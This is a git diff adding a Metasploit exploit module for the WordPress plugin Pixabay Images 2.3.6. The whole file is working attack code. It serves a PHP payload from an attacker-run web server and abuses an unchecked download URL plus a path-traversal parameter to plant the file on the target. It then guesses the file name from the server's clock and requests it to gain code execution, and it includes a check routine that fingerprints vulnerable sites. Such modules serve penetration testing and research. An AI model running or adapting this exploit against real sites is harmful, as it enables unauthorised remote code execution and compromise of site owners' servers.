diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb new file mode 100644 index 0000000000..7c90695230 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wordpress Pixabay Images PHP Code Upload', + 'Description' => %q{ + This module exploits multiple vulnerabilities in the Wordpress plugin Pixabay + Images 2.3.6. The plugin does not check the host of a provided download URL + which can be used to store and execute malicious PHP code on the system. + }, + 'Author' => + [ + 'h0ng10', # Discovery, Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'], + ['OSVDB', '117145'], + ['OSVDB', '117146'], + ['WPVDB', '7758'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['pixabay-images 2.3', {}]], + 'DefaultTarget' => 0, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => 'Jan 19 2015' + )) + + register_options( + [ + OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]), + OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4]) + ], self.class) + end + + + # Handle incoming requests from the server + def on_request_uri(cli, request) + print_status("URI requested: #{request.raw_uri}") + send_response(cli, payload.encoded) + end + + # Create a custom URI + def generate_payload_uri + "#{get_uri}.php" + end + + def call_payload(file_name) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name) + }, 3) + + res + end + + def exploit + unless wordpress_and_online? + fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be Wordpress site") + end + + print_status("#{peer} - Starting up web service...") + start_service + + payload_uri = generate_payload_uri + vprint_status("#{peer} - Using URI #{payload_uri}") + + random_file_name = rand_text_alphanumeric(rand(5) + 5) + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => payload_uri, + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}" + } + + print_status("#{peer} - Uploading payload #{random_file_name}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + stop_service + + unless res && res.code == 200 && res.headers['date'] + fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...") + end + + server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i + + print_status("#{peer} - Calling payload...") + datastore['TRIES'].times do |i| + payload_name = "#{random_file_name}_#{server_epoch_time + i}.php" + res = call_payload(payload_name) + if (res && res.code == 200) || session_created? + register_files_for_cleanup(payload_name) + break + end + end + end + + def check + res = wordpress_and_online? + unless res + vprint_error("#{peer} - It doesn't look like a Wordpress site") + return Exploit::CheckCode::Unknown + end + + # Send a request with a illegal URL to verify that the target is vulnerable + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => rand_text_alphanumeric(rand(5) + 5), + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => rand_text_alphanumeric(rand(5) + 5) + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end +end